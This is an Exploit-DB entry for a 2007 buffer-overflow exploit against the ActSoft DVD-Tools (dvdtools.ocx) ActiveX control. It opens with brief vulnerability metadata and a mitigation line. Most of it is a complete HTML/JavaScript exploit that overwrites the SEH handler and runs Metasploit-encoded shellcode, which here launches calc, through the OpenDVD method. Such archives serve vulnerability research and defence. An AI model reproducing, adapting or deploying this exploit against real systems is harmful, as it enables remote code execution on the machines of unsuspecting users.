ActSoft DVD-Tools (dvdtools.ocx) Buffer Overflow Exploit

vendor:

DVD-Tools

by:

Umesh Wanve

7.5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: DVD-Tools

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows 2000 SP4 Server English, Windows 2000 SP4 Professional English

2007

ActSoft DVD-Tools (dvdtools.ocx) Buffer Overflow Exploit

This exploit takes advantage of a buffer overflow vulnerability in the ActSoft DVD-Tools (dvdtools.ocx) ActiveX control. It allows an attacker to execute arbitrary code on the target system by overflowing the buffer and overwriting the SEH handler.

Mitigation:

To mitigate this vulnerability, it is recommended to update the ActSoft DVD-Tools software to the latest version or remove the vulnerable ActiveX control from the system.

Source

Exploit-DB raw data:

<!--

  ===============================================================================================
                        ActSoft DVD-Tools (dvdtools.ocx) Buffer Overflow Exploit
                                            By Umesh Wanve 
  ==============================================================================================   
        
  Date : 30-03-2007
 
  Tested on Windows 2000 SP4 Server English
            Windows 2000 SP4 Professional English
 
   
  PS. This was written for educational purpose. Use it at your own risk.Author will be not be
      responsible for any damage.
 
  Always thanks to Metasploit and Stroke 

-->



<html>

<title>
 ActSoft DVD-Tools (dvdtools.ocx) Buffer Overflow Exploit- By Umesh Wanve
</title>

<object classid='clsid:894A633E-F261-28BD-96F3-380EBEE1BADE' id='test' ></object>

<script>

var nop=unescape("%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90");

var pointer_to_seh=unescape("%eb%06%90%90");

var seh_handler=unescape("%a9%11%02%75");


<!-- win32_exec -  EXITFUNC=seh CMD=calc Size=330 Encoder=Alpha2 http://metasploit.com  -->
var shellcode= 
unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49")+
unescape("%49%49%49%49%49%49%49%49%49%48%49%49%51%5a%6a%64")+
unescape("%58%30%41%31%50%42%41%6b%41%41%74%32%41%42%41%32")+
unescape("%42%41%30%42%41%58%38%41%42%50%75%4a%49%6b%4c%79")+
unescape("%78%67%34%45%50%43%30%73%30%4c%4b%72%65%55%6c%4c")+
unescape("%4b%53%4c%53%35%70%78%54%41%7a%4f%6c%4b%72%6f%42")+
unescape("%38%6e%6b%51%4f%35%70%57%71%7a%4b%43%79%4c%4b%77")+
unescape("%44%4e%6b%74%41%48%6e%50%31%79%50%6d%49%6e%4c%6b")+
unescape("%34%6b%70%53%44%76%67%6a%61%4a%6a%44%4d%54%41%5a")+
unescape("%62%6a%4b%4b%44%37%4b%61%44%71%34%65%54%32%55%58")+
unescape("%65%6e%6b%63%6f%55%74%34%41%4a%4b%70%66%6e%6b%54")+
unescape("%4c%70%4b%6e%6b%73%6f%45%4c%76%61%78%6b%6c%4b%55")+
unescape("%4c%4c%4b%44%41%48%6b%4d%59%73%6c%57%54%75%54%6a")+
unescape("%63%54%71%4b%70%65%34%6c%4b%37%30%54%70%6c%45%4f")+
unescape("%30%73%48%54%4c%4e%6b%37%30%74%4c%4c%4b%50%70%67")+
unescape("%6c%4c%6d%4c%4b%62%48%45%58%38%6b%76%69%6e%6b%4f")+
unescape("%70%4e%50%45%50%47%70%37%70%6c%4b%32%48%47%4c%51")+
unescape("%4f%30%31%6b%46%43%50%61%46%6e%69%48%78%6d%53%4f")+
unescape("%30%61%6b%66%30%31%78%58%70%4d%5a%34%44%61%4f%55")+
unescape("%38%6e%78%6b%4e%6d%5a%34%4e%73%67%49%6f%6d%37%33")+
unescape("%53%31%71%70%6c%65%33%45%50%64");

var buff="";

for (i=0;i<432;i++)    buff=buff+"A";


<!--   Buffer ------      Short Jump to Shellcode   ----- Pop Pop ret ----  NOP SLED ---- Hellcode --------->

buff = buff         +           pointer_to_seh     +      seh_handler   +  nop+nop    +   shellcode    +nop+nop;


var attack = document.getElementById('test');

attack.OpenDVD(buff);


</script>
</body>
</html>

# milw0rm.com [2007-03-30]